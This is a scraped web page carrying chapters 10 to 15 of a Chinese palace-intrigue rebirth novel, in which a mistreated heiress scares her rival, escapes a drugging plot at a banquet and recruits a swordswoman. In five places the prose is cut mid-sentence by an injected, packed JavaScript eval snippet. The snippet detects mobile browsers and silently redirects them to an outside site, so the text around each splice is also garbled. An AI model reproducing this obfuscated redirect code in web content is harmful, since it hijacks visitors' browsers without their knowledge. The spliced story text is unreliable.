明明她才是正儿八经的侯府嫡女,皇后的赏赐,还有九章堂那些昂贵漂亮的衣裳,凭什么都给了晏逐星那个不知道打哪来的野种!
这念头一冒出便似毒藤疯长,绞得她夜半在睡梦中惊醒。
冷汗浸透中衣,高热来势汹汹,像是要把她的五脏六腑都烧成灰烬。
晏明月夜里烧得说起了胡话。
她这一病可把侯府众人给心疼坏了,连夜给她请了大夫。
就连白日里还在生她气的定远侯,都心软了。
晏逐星得到这个消息,眼睛顿时亮了起来。
上一世,晏明月不是说她夜夜入她梦吓得她不得安宁么。
这一世,她便做个好人,实现她的心愿吧。
……
停云回了王府,将晏逐星的近况告诉了王爷。
那位大小姐那么彪悍,想必王爷应该不会让他再去潜伏去侯府保护她了吧。
谢翊宁皱起了眉头,眼底闪过一丝厌恶:“这定远侯府到底是什么**不吐骨头的地方,硬是将她一个侯门大小姐逼成了要靠木棍保护自己的刁蛮千金。”
随后他便下了新的命令。
“你找人混到侯府里守着她,免得她又受了那黑心爹娘和恶毒妹妹还有眼瞎兄长的欺负。本王送她的东西,不许旁人拿了。”
停云“嗯”了一声答应下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497754|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,准备要走,谢翊宁又叫住了他。
“算了,今夜你陪我再去一趟定远侯府。”
不亲自看一眼他的小救命恩人,他不放心。
……
入夜。
晏逐星早早地准备好了道具。
她换上了丫鬟的衣裳,悄悄出门了。
她白日里去瑶华院确认过了,她小时候院墙角落里挖的狗洞还在,她正好可以从那里溜进去。
她拱着屁股从狗洞里钻过去的时候,丝毫不知道有两个人在身后盯着自己。
停云瞥了一眼自家王爷。
谁家高门贵女会爬狗洞,王爷这下总该失望了吧。
没想到谢翊宁喃喃自语:“这么窄的洞也能钻过去,身子未免也太瘦了,得想法子让她多吃点才行。”
停云:……
王爷的关注点好生奇特,他竟无言以对。
两人跟着晏逐星进了瑶华院,想看她究竟要做什么。
只见晏逐星趴在晏明月寝屋的窗沿下,掏出提前准备好的沾着鸡血的帕子,在窗纱上画了几道长长的指痕,像是黄泉路上爬回来索命的厉鬼。
“小姐,我~好~冷~啊~”
她戴好厉鬼面具,捏着嗓子,轻声呼唤起睡梦中的晏明月。
见她没有反应,便抓起了一个雪团,对准床榻上隆起的轮廓狠狠掷去。
“啪!”
碎雪在晏明月颈后炸开冰花,渗入骨髓的寒意惊得她猛然坐起。
铜炉炭火早已熄灭,屋子里漂浮着若有若无的血腥气,她颤抖着去够床头的银铃,想要将丫鬟叫进来。
一道诡异的声音伴随着寒风钻进她的耳朵里。
“小~姐~我~的~头~呢~”
“我~的~头~怎~么~不~见~了~”
晏明月浑身的血液瞬间凝固。
她想起下人回禀那日抬走茉儿尸体时,茉儿的头颅和身体分开的事情。
“茉儿,不是我害死你的,你不要来找我。是晏逐星,你,你找她去。”她脱口而出替自己辩解,声音抖得不像话。
窗户底下的晏逐星忽然抬头,月光照在她可怖的厉鬼面具上,长长的舌头悬吊在半空中。
“啊,小姐,找到你了!”
晏明月感觉自己的心脏被人狠狠捏住,停顿了片刻后,她的嗓子里才哆哆嗦嗦地冒出两个字:“鬼啊——!”
第11章 王爷一遇上晏大小姐的事,就跟中了邪似的
而后她两眼一翻,彻底晕了过去。
晏逐星嗤笑一声:“胆子真小,没意思。”
她嘟囔着离开,半踮着脚尖,留下了一串不似人的脚印。
绕了一圈后,重新回到玉澜院。
她当即把那些罪证都扔到了火炉里烧得一干二净。
围观了全程的谢翊宁露出了满意的表情。
小恩人真聪明,不愧是上过战场的女子,思虑就是周全。
他想了想,让停云照葫芦画瓢,去一趟温如霜的院落,扮鬼吓唬她。
“你会轻功,扮鬼更像。”
停云:……
他苦练多年的轻功,就是用来扮鬼的么?
王爷怎么一遇上晏大小姐的事情,就跟中了邪似的。
停云心里苦,但停云不敢说。
只能乖乖听话,穿着一身白衣在温如霜的院子里飘来飘去。
还捏着嗓子模仿晏逐星说一些索命的话,当场把温如霜吓得三魂去了六魄。
……
一大早。
双鲤就和晏逐星汇报起了自己打探到的消息。
“大小姐,昨夜大夫人和二小姐的院落闹鬼了。听说是茉儿回来找他们索命。”
“什么?”晏逐星懵了。
她不是只去恐吓了一下晏明月么,温如霜那边是怎么回事。
难不成茉儿的鬼魂真的显灵了?
那茉儿也该来找她才对啊,怎么去找温如霜了。
“难不成是怕了我了?”
晏逐星托着下巴思索了起来。
很快,她得出了结论。
鬼和人一样,也是欺软怕硬的。
她当初软弱,所以让侯府众人骑在她头上,如今她支棱起来了,他们就让步了。
就连鬼都不敢来招惹她了。
晏逐星很满意自己的变化。
她用过了早膳,决定出门一趟,裴二小姐送她的披风已经清洗干净,该还给人家了。
她让双鲤留下照看院子,带着另一个丫鬟半棠出门。
她去找侯府要车,但没有侯爷夫人的同意,车夫不敢载她出门。
但今时不同往日,大小姐可是有皇后娘娘撑腰的人。
车夫谁也不敢得罪,捂着肚子道:“大小姐,可真是不巧了。小的腹痛难耐,今日恐怕不能送您出门了。”
说罢他便捂着肚子跑走了。
晏逐星冷笑一声,以为这样就能难得倒她么。
上辈子她连战场都上过了,驾车更难不倒她。
“上车。”她让丫鬟坐上车,自己驾车出侯府。
车夫傻眼了。
赶忙将此事传到主院去。
晏明修得知此事,怒气冲冲地拦住了马车:“娘亲和妹妹病了,你还有心思出门?”
晏逐星不疾不徐道:“我要去一趟卫国公府。裴大人说了,如果我没登门归还披风,他会带着裴二小姐登门拜访,你也不想他再来侯府吧?”
晏明修面色一僵,此事还真不好阻拦。
裴明镜要是再找上门来,那侯府又会重新成为京中众人热议的话题。
他嘟囔道:“那你也该去探望一下娘亲和妹妹呀,白养你那么多年了,忘恩负义的东西。”
晏逐星眸色冷冷扫向他:“你回去好好问问温如霜,到底是我忘恩负义,还是她心怀鬼胎。”
“你怎敢直呼娘亲名讳?”晏明修瞪大了眼睛不可思议地看着他。
“好狗不挡道。我数到三,你若不让开,那我就直接从你身上踏过去了。”晏逐星懒得和这个**纠缠。
想到上辈子这个晏明修要打碎她的魂魄,晏逐星有些跃跃欲试。
他打碎她的魂魄,她让马儿踩断他的腿,收点利息,不过分吧?
“你骂谁狗呢?”听到她口出妄言,晏明修怒了,“你敢伤我,父亲和母亲饶不了你。”
“一、二、……”
没等晏逐星数到三,晏明修迅速闪开了。
他看得出来,晏逐星眼里没有半点犹豫和害怕,她是真的敢驾着马车撞翻他的。
但他闪得太过慌乱,崴了脚,重重往后栽去,落得个四脚朝天的狼狈模样。
马车离开了定远侯府,车上的丫鬟半棠惊恐万分。
大小姐果真和从前不同了,竟然连二少爷也不怕。
她可得小心伺候着,万万不能惹怒大小姐。
晏逐星没有马上去卫国公府。
裴二小姐虽然借了她一件旧披风,但她不能只还一件旧披风。
皇后娘娘御赐的宝物不可送人,她只能出门买一件新的披风当做谢礼了。
她先去了一趟牙行,让牙人帮忙置办了一辆马车和车夫。
她不打算一直用侯府的马车和人,定远侯的人不会容忍她太久。
谁知道之后他们会不会在马车上动手脚。
想到这,晏逐星摸了摸带出来的银元宝,对皇后娘娘的感激之意更上一层楼。
随后她去九章堂买了一件月白底松霜绿的披风,这才登门去了卫国公府。
“定远侯府大小姐找我?”裴芜微微蹙眉。
她和那位好像没什么交集吧,她来做什么。
“前几日,世子爷从您这要了一件披风给那位小姐,想必她是来道谢的。”丫鬟温声提醒。
裴芜恍然大悟,命人将晏逐星带了进来。
她有些好奇,这个闹上公堂的女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497755|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子究竟是什么模样。
晏逐星见到她,行了一礼:“多谢裴二小姐雪中送炭。”
“不客气,小事一桩罢了。”裴芜好奇地看着面前的人。
如今这位可是京城里的风云人物。
先是被家里人告上公堂,而后又得了皇后娘娘的赏赐。
她忍不住询问:“皇后娘娘为何给你赐东西啊?”
晏逐星将吴嬷嬷说的理由重复了一遍。
虽然她觉得这个理由有些勉强,但她也想不出好端端的皇后娘娘为何会这样做。
“这样么?”裴芜若有所思地点了点头。
她盯着晏逐星送来的回礼,询问道:“不是说你母亲对你不好么,怎么你还有银子给我买新的披风?九章堂的衣裳,可不便宜。”
“滴水之恩当涌泉相报。若不是……唉……”晏逐星一一回答了她的问题。
她回答得很有技巧,每句话后边都留了钩子,惹得裴芜忍不住继续问下去。
问着问着,晏逐星就把温如霜母女做的恶事倒了个干干净净。
听到最后,裴芜已经跟她同仇敌忾了起来。
“没想到啊,定远侯夫人竟然这样歹毒。你妹妹因病寄养在外,不能像你一样时时陪在她身边,她偏袒你妹妹虽然情有可原,但也没不必这般苛责你吧,又不是你的错。”
晏逐星擦了擦眼泪,哽咽道:“我总想着,是我亏欠了妹妹,让她在外边受苦,让一让她也无妨。三岁孩童都懂得家丑不可外扬的道理,我又怎会不懂。只是我怕再让下去,把命都让没了,这才在公堂上说了那些话。”
“委屈你了。”裴芜听着愈发同情她了。
“日后要是遇上什么事,你只管差人来找我,我帮不了你,还可以找堂兄。他是京兆尹,厉害着呢!”
待到晏逐星要离开时,裴芜又给她拾掇了一匣子的珠花首饰。
“使不得!”晏逐星赶忙推拒,却被裴芜温热的掌心覆住手背。
“我收了你的礼物,你也该收下我的礼物才是。除非,你不把我当朋友。”
她娇俏的脸上满是认真。
晏逐星沉默了片刻后,轻轻抱了抱她,拿着匣子转身离开。
她有些自行惭秽。
这一趟来,是算计,是利用,她不配和裴芜这样心思澄澈单纯善良的姑娘做朋友。
如果,上辈子她能认识裴芜就好了。
晏逐星驾着马车离开,裴芜站在原地冲她挥手,裴明镜正好下值回国公府。
“大堂兄。”裴芜赶忙冲他行礼。
“先前离开的是定远侯府大小姐?”裴明镜扫了一眼离去的马车。
第12章 难不成是药效过了,她全想起来了?
“正是。”裴芜点了点头,随后滔滔不绝地说起了今日之事。
“大堂兄,你知不知道逐星有多可怜。侯府连个车夫都不给她配,她那个妹妹更是可恶……”
裴明镜听完,瞥了她一眼:“你这没心眼儿的趁早离她远些。你俩加起来八百个心眼子,她八百零一个,你,不足一个。”
裴芜怔在原地。
待到裴明镜离开后,她气得直跺脚,看向自己的心腹丫鬟璎珞:“大堂兄刚刚是不是在说我傻?”
“呵呵呵,大少爷和小姐说话,奴婢不敢偷听。”璎珞望天,不敢正面回答。
“哼。”裴芜拂袖离去。
她才不傻呢。
她看得出来,晏逐星是好姑娘。
……
晏逐星回了侯府。
温如霜得知她去卫国公府还了披风,便差人将她叫了过来。
“逆女,你可真是愈发没有规矩了。今日出门,竟然不和我这个当家主母通传。还和你兄长直呼我的名讳,跪下!”
晏逐星站在原地,盯着她:“温如霜,你别忘了,过几日我还得进宫指点十公主跳破阵舞呢。”
温如霜没想到她当着她的面就敢直呼她的名字,气得头顶都要冒烟了。
可偏偏她搬出皇后来压她,她还没法反驳。
她悻悻地看着晏逐星:“我且看你能狂妄多久,等到冰嬉宴后,有你好看!”
“看来晏明修并没有把我的话完全转达给你。”晏逐星神色冷淡。
她弯腰凑到了温如霜面前,低声道:“你说,若我亲生爹娘找到我,知道你们对我做了这些事情,你以为他们会放过你们吗。”
温如霜喉头猛地咽下口水,退后几步,冷汗顺着贴额角往下淌。
她差点脱口而出“你都想起来了?”
幸亏理智回笼,她咬着舌尖硬生生将这句话咽了回去。
“你亲生爹娘该感谢我将你捡回来才是,不然你早就被拐子带走,不知道卖到哪里去了。再说了,我可是侯府主母,谁敢动我。”
“哦。那就拭目以待吧。”晏逐星转身离开。
她刚刚不过是试探一下温如霜罢了。
之前做鬼的时候,见她拿出来过一个金镯子说是她幼时的贴身之物。
寻常百姓人家,断然不会给女儿准备金镯子。
她原本的身世应该非富即贵,而且相当疼爱她这个女儿。
只是她什么都想不起来了。
而温如霜似乎也不知道她的亲生父母究竟是谁,一切只能从长计议了。
温如霜望着晏逐星离去的身影,直到看不见她的裙角,紧绷的脊背骤然一松,那口屏住的气息才颤巍巍吐出来。
“你说,她是不是都想起来了?”她猛然攥紧李氏枯瘦的手腕。
“奴婢,奴婢也不知道呀。”李氏也慌得很。
当初他们回夫人的娘家,弄丢了二小姐,遍地都寻不到人。
夫人在街上瞧见打扮得粉雕玉琢的大小姐,便生了邪念,将人抱走代替二小姐。
大小姐彼时不过一两岁的模样,吐字却很清晰,一直哭喊着要找爹娘哥哥,死活不肯改口叫夫人娘亲。
夫人不得已给她下了药,让她忘掉了自己亲生的爹娘。
今日大小姐旧事重提,难不成是药效过了,她全想起来了?
“不,她肯定是在诈我,她那时候才那么小,怎么可能想得起来。”温如霜死死抓着李氏的手,指甲几乎要掐进她的皮肉里。
“不能让她把这事说出去,她要是说出去了,那一切就都毁了。”
她冷汗淋漓,谋划着该如何除掉晏逐星。
三日后。
威宁侯府送来了请柬,邀请她们过两日去参加侯府老夫人的寿宴。
温如霜想要拒绝,如今满城流言蜚语都是关于他们定远侯府的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497756|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她若是去了少不得要被旁人暗讽。
她不想去丢那个人。
晏明月却劝她赴宴。
“娘亲,咱们必须去,还得大大方方的去,不然旁人肯定又要多加揣测,觉得咱们亏待了姐姐。”
温如霜思索片刻,觉得她说得也有几分道理。
“况且,我与威宁侯府的云霏姐姐是好友。她的祖母过寿,我不去,也不合适吧。”晏明月拉着她的手撒娇。
温如霜彻底偏向了她的提议,但想到刺头一般的晏逐星,又有些烦躁:“只是晏逐星她未必愿意跟我们一起去。”
一起去了,也未必会乖乖听话。
若是在寿宴上闹起来,那可就丢脸了。
她没敢把心底话说出来。
“那岂不是更好。她若在老夫人寿宴上闹起来,正好让裴大人和皇后娘娘看看,她根本就不是她表现出来的那么无辜和可怜!”晏明月咬紧了牙关。
上回院子里闹鬼,她吓坏了,病了整整一天。
后来查出来应该是有人装神弄鬼,她怀疑过晏逐星,可又没有证据,没办法让爹娘惩治她。
但她已经认定了是晏逐星干的,她就一定要报复。
原本还病恹恹的她,带着恨意,病好得飞快。
“好。那就听你的,叫上晏逐星一块。”温如霜同意了她的提议,命人将请帖送到玉澜院。
“小姐,咱们要去威宁侯府做客吗?”双鲤有些紧张。
“去,当然要去!”晏逐星没想到打瞌睡了就有人递枕头。
之前还想着若是威宁侯府不给她发帖子,她就利用裴芜混进去。
但那日接触过后,她发现裴芜是个天真单纯的好姑娘,她不能把她牵扯进来。
如今倒好了,请柬自动送上门来。
这场宴会,她非去不可。
因为,宴会上有一个她要找的人。
一个很重要的人。
第13章 别怕,有我替你撑腰
上一世,她被封为女将军后,接手了霍将军留在京中的密报营。
密报营中曾记录过,景王谢明奕身边有一个名叫九栀的侍妾武功极高,暗中替他杀了不少对头。
而两人相识,正是在威宁侯府老夫人寿宴上。
当时九栀受伤潜逃,景王救了她,她便跟了他当做报恩,之后对他言听计从。
晏逐星想要做的就是,把景王的救命之恩抢到手里。
她现在身边能信任的人只有双鲤,她需要一个武功高强的人跟在她身边。
九栀同为女子,跟着她再方便不过了。
而且她也瞧不上景王。
又要占人身子陪他行鱼水之欢,又要人替他卖命。
呸!
和定远侯府这群人一样不要脸。
……
赴威宁侯府宴席前夕,温如霜差人送来了一套头面和一袭月白云锦裁就的锦衣。
晏逐星没有拒绝,收下了。
赴宴当日,晏逐星穿的是九章堂连夜赶制出来的冬装,首饰戴的也是皇后赠予的那些。
连日进补的燕窝参汤到底养出些成效,此刻的晏逐星不似前些时日那般枯瘦,如雪后残枝,倒像是新枝上扫落了雪的梅花,自冰肌里沁出几分生气。
晏明月看着她的眼神里满是妒忌。
她刚被侯府认回来的时候就意识到一件事,晏逐星比她漂亮许多倍。
她这辈子恐怕都无法赶超。
原以为这几年将她打压下去,她一辈子都会是那副灰头土脸的模样。
没想到短短几天的滋养,她的眉眼竟然又变得生动了起来,隐隐有了从前的几分风采。
“姐姐,你怎么不穿娘亲送你的衣裳,可是不喜欢?”晏明月忍不住开口。
晏逐星淡淡地扫了她一眼:“对啊。你明知故问点什么。你觉得她给我的衣裳首饰,能比皇后娘娘给的更好?”
晏明月直接被噎住了。
温如霜压下心底的火气,握紧女儿的手,示意她少说两句。
她们今日要扮演的是慈母和委曲求全的妹妹,她们才是受害的一方,不能让人看出问题来。
晏逐星要嚣张,就让她嚣张去吧。
到时候当着那么多贵夫人的面露出这样张狂的模样,她的名声可就没了。
“好了,上车吧。”她沉声开口。
晏逐星大大方方地上了车,而后闭目养神。
晏明月不情不愿地跟了上去。
“定远侯夫人携大小姐、二小姐到!”威宁侯府门前响起门房清亮的唱喏声。
陪着母亲迎客的赵云霏低声嘟囔:“娘亲,你怎么把晏逐星也请来了。”
威宁侯夫人钱氏压低声音:“皇后娘娘都给了她脸面,还有卫国公府那边的裴二小姐似乎也跟她交好,咱们怎好厚此薄彼。”
说完她便笑着迎了上去,和温如霜母女几人寒暄。
晏明月一看到赵云霏就笑眯眯地迎了上去:“云霏姐姐,好久不见,我好想你哦。”
“确实好久不见,你怎么瘦了那么多?”赵云霏也同她寒暄了起来。
“前几日病了。”晏明月解释的时候,怯生生地看了一旁的晏逐星一眼。
“好端端的,怎么会病了?”赵云霏也跟着看向了晏逐星。
“唉,算了,没什么,咱们先进去吧。你我许久未见,我有好多话想跟你说。”晏明月欲言又止。
“行。”赵云霏拉着晏明月径直走了进去,领着她去和其他的世家小姐打招呼,就这样将晏逐星扔在了原地。
她们以为自己在孤立她,殊不知晏逐星正需要这样的独处。
密报营里的记录只写了景王和九栀是在这场宴会上相遇的,具体的地点压根没写,她只能自己去赌一把运气了。
“帮我盯着景王,他若落单了,记得告诉我。”晏逐星低声吩咐双鲤。
“是。”双鲤乖巧应下,没有任何质疑。
晏逐星找了个侯府的丫鬟,借口赏花,让她领自己到处看看。
另一边,赵云霏带着晏明月去了后花园的亭子中央。
一群人都对晏逐星京兆府状告侯府下人欺辱她的事情十分感兴趣,都不用晏明月挑起话题,就问了起来。
晏明月哭哭啼啼地开口,将早已想好的借口说了出来。
“自打我被接回家后,姐姐便觉得娘亲偏心我,便隔三岔五弄出伤痕,让娘亲心疼。”
“娘亲给她做的衣裳,她表面上谦让给我,背地里又总是骂我抢了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497757|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的东西,变本加厉地欺负我。”
“我忍了许久,直到哥哥发现她一直欺负我,才教训了她。结果她又以死相逼,弄得自己浑身是伤,让哥哥心疼她。”
“后来爹爹发怒了,才让她去旧院子里反思。结果她就闹到了京兆府去,爹娘怕说实话让她名声有损,最终只能认下了她说的话,惩戒了下人……”
“为了让她消气,我娘在九章堂给她定了足足四十套衣裳。”
这话一出,丫鬟们忍不住都发出了惊呼声。
四十套衣裳,有些门第低的,亦或者是不受宠的姑娘,一年都做不了那么多衣裳。
“此事好像是真的,前日我娘请九章堂的绣娘上门,绣娘说他们接了定远侯府的大单子,我要定过年的新衣裳,得往后排。”户部尚书的女儿忽然开口。
“天呐,四十套衣裳,至少得上千两银子了吧。”另一个人跟着附和。
晏明月点了点头,露出委曲求全的笑容:“只要能让姐姐开心,爹娘花再多银子也是愿意的。”
“那你呢,给你做了几套衣裳?”有人又问。
晏明月比了个五,随后便低下了头。
她可没撒谎,虽然入秋时娘亲就已经让九章堂给她做了十五套衣裳,但这一回,确实只做了五套。
赵云霏听到这番话,顿时义愤填膺了起来。
“她在你母亲膝下长大,享尽侯府荣华富贵,结果你才回来多久,她就这样欺负你,太过分了。她有四十套衣裳,而你只有五套,她到底有什么可不满的。走,找她算账去!”
“算了云霏姐姐。若是闹起来,回去吃亏的还是我。”晏明月一边伸手拦她,一边抹眼泪。
“别怕,有我替你撑腰。”赵云霏二话不说就要带晏明月去找晏逐星。
他们出来后,正撞见晏逐星和丫鬟倚在廊柱下交头接耳。
赵云霏正要发难,晏明月突然反手扣住她的手腕,她竖起食指抵在唇畔,“嘘”了一声。
两人屏息凝神贴墙而立,隐约听到了“景王”“独身”之类的字样。
两人对视一眼,彼此瞳孔里倒映的惊涛骇浪几乎要漫出眼眶。
晏逐星今日赴宴的目的,竟然是景王?
第14章 孤男寡女,有仇当场她就要报!
晏逐星察觉到窥探的目光,扭头一看,就撞上了赵云霏和晏明月。
不等她开口,赵云霏抢先一步开口训斥她。
“晏逐星,你在侯府锦衣玉食十多年,如今连侯夫人对明月的半分垂怜都容不下?还要处处欺负她,这般狭隘心性当真令人不齿。”
“我处处欺负她?她和你说的?”晏逐星挑眉看向了晏明月。
“没有,姐姐,我什么都没说。”晏明月露出了惊慌失措的表情,“我们来是告诉你寿宴马上要开始了,你不要乱跑。”
随后她便强行拉着赵云霏离开了。
晏逐星一眼就看穿了她拙劣的手段。
赵云霏特意来替她出头,无非就是听了她的挑拨。
只不过她今日有更重要的事情要做,懒得搭理他们。
她从双鲤那里得知景王没有单独去过什么地方,身边的侍卫也没有离开过。
她放了一半的心。
或许,她还有一半的概率可以找到九栀。
赵云霏被晏明月拉走后,还在替她打抱不平。
“你怕什么,有我呢,她还敢当着我的面打你不成。”
“云霏姐姐,我知道你对我好,可是我总归是要回侯府的。”晏明月又摆出了惯常用的那套可怜兮兮的模样。
“除非姐姐嫁人离开侯府,我才能安稳度日。可姐姐前不久在京兆府闹了那么一出,京中的夫人们根本无人愿意让她当儿媳妇。我母亲为难极了。”
她话音刚落,赵云霏便露出了恍然大悟的表情。
“怪不得她盯上了景王。”
“啊,云霏姐姐,这可不能乱说。”晏明月捂住了嘴唇,露出惊讶的表情。
赵云霏却继续分析了起来:“虽然她名声不好,但毕竟是你们侯府嫡女,当个景王侧妃也是可以的。”
“不行,不能让她当景王侧妃。景王妃是个好脾气的,若是让她去了景王府,那她还不得翻天。日后你就更没有好日子了。”
晏明月听到这话,眼泪扑簌簌地往下落:“云霏姐姐,那我该怎么办呀?”
赵云霏看着她这柔弱不能自理的模样,心中保护欲大大增加。
忽然,她眼珠子一转,有了好主意。
“你觉得让她嫁给我表叔怎么样?”
“你表叔?”晏明月一愣,而后反应了过来。
赵云霏的表叔贵为烈国公世子,年已而立却仍未娶妻。
只因他年幼时的一场大病,烧坏了脑子,心智尽失,成了个痴儿。
晏明月喃喃道:“这不好吧。”
她一方面觉得让晏逐星嫁给一个傻子很解气,另一方面又觉得让晏逐星攀上烈国公府便宜她了。
“有什么不好的,能嫁给我表叔,是她高攀了。她日后还得给我们道谢呢。”赵云霏语气里满是不屑。
她不喜欢晏逐星,也不喜欢那个傻子表叔,将两个讨厌的人凑一块刚刚好。
……
宴会过半,晏逐星正夹起一块芙蓉鸡片,旁边斟酒的丫鬟突然手一抖。
酒壶“咣当”砸在桌上,冰凉的梅子酒顺着桌沿淌下来,正浇在她月白色裙摆上。
“奴婢该死!”小丫鬟扑通跪下。
赵云霏瞧见这一幕,开口道:“我这丫鬟**手毛脚的,还请晏姐姐见谅。姐姐若不嫌弃,可以到后头暖阁换一件新的衣裙。”
晏逐星瞥了她一眼,又看了一眼晏明月,晏明月避开了她的眼神。
晏逐星思忖了片刻,接过丫鬟递来的素绢帕子擦了擦手:“带路吧。”
她让双鲤回马车上去取一套新的衣裳来,自己跟着那丫鬟去了后头的暖阁。
这个位置,她还没查过呢。
走到一半,那丫鬟忽然惊呼一声:“晏大小姐,奴婢忘了带暖阁的钥匙,劳烦您在此处等候,莫要胡乱走动。”
晏逐星点了点头,看着她离开。
丫鬟一走,她便搜起了附近的假山,只可惜什么也没找到。
没过多久,另一个丫鬟匆匆来了。
“翠儿有事去忙,由我领大小姐去更衣。大小姐请。”
丫鬟领着她往前走。
眼见越走越荒凉,晏逐星停下了脚步:“不是说去暖阁么?”
“暖阁坏了,得去后院。”丫鬟垂眸回答。
“你究竟是谁?想做什么?”晏逐星猝不及防地出手,掏出一直藏在怀里的**果断刺向她。
这丫鬟的脚步一看就是练家子,她如今武功还没练成,只能先下手为强。
丫鬟瞪圆了眼睛,显然没有料到一个侯府大小姐会随身携带**。
她抬手去挡,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497758|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
**插入她的掌心,疼得她龇牙咧嘴,当即反击。
两人就这样打了起来。
这时,荒废的院子门忽然被打开,一个男人走了出来。
“热,好热。我要喝水!”
他眼神有些迷茫,随后一边嚷嚷一边开始脱自己的衣裳。
晏逐星认出了他。
这是烈国公唯一的儿子——尉迟敦。
她这一分神,就给了那个丫鬟机会。
丫鬟给了她后背重重一击,将她和尉迟敦同时推进了门内。
高高壮壮的尉迟敦哐当倒下,给晏逐星当了肉垫。
“哎哟,好痛!呜呜呜呜,我要娘亲,要娘亲!”他哇哇大哭了起来。
晏逐星当即捂住了他的嘴。
如今他们孤男寡女在这里,若是他的哭嚎声引来了外人,恐怕就解释不清了。
丫鬟一瘸一拐地摸到门闩,想要趁机将两人锁在里边。
晏逐星当机立断,反手掷出了**。
有仇当场她就要报!
谁知道以后还有没有机会。
**正中眉心,丫鬟的瞳孔骤缩,手指徒然向前抓,随后整个人直挺挺向后倒去,后脑磕在青石砖上发出闷响,血迹大片晕开,就这样没了气息。
“热……要喝水……敦儿渴……阿娘……呜呜。”尉迟敦在满是尘土的地上哭嚎着打滚。
脑袋上的玉冠歪斜着蹭满了尘土,头发也乱成了一团。
三十来岁的人如今和三岁稚童也没什么区别。
晏逐星顿时反应了过来。
有人给他下了药!
晏逐星猜到了这个计划定然和赵云霏还有晏明月有关,想必他们很快就要来了。
她不能留在原地坐以待毙。
她撇下尉迟敦想走,没想到尉迟敦却扑过来抱住了她的腿。
“热,敦儿热。”他呜呜地嚷嚷着。
再撕扯下去,她的衣裳就要彻底坏了,到时候有人过来可就真的说不清了。
挣脱无果,晏逐星用哄孩子的语气开口:“敦儿,我们来玩**好不好?”
“**!好!”尉迟敦从地上爬了起来,揉了揉眼睛。
他的眼睛有些模糊,看清晏逐星的打扮后,他瞬间变得激动了起来。
他用脏兮兮的手捧住了晏逐星的脸,脱口而出——
第15章 一年时间,足够她弄死所有定远侯府的人了
“妹妹!”
尉迟敦欣喜地盯着她,傻乎乎地冲着她笑。
晏逐星来不及思考他为什么叫她妹妹,但他肯听话就好。
晏逐星的目光落在了院子里那个废弃的旧水缸上。
她领着尉迟敦走了过去:“哥哥,你躲在这数到一百,我就回来,好吗?”
她正准备掀开水缸上的破旧盖子,不曾想,里边还藏了一个人。
竟然是九栀!
真是踏破铁鞋无觅处,得来全不费工夫。
她找了半天,没想到竟然在这种情况下遇见了她。
九栀从水缸里一跃而起,怀里的剑出鞘对准晏逐星二人。
晏逐星果断用盖子格挡。
她长话短说:“我是定远侯府大小姐晏逐星,我可以帮你逃出去。作为回报,你在我身边当一年丫鬟保护我,一年后,你可以自由离开。”
她只会在定远侯府呆一年。
这一年的时间,足够她弄死所有定远侯府的人了。
九栀的剑一顿,原本质疑的话拐了个弯:“有月银吗?”
晏逐星一愣,当即点头:“有。”
九栀又问:“管饭吗?”
晏逐星再次点头:“管。顿顿有肉。”
“成交。”九栀当即答应。
她答应得太过痛快,反倒让晏逐星没反应过来。
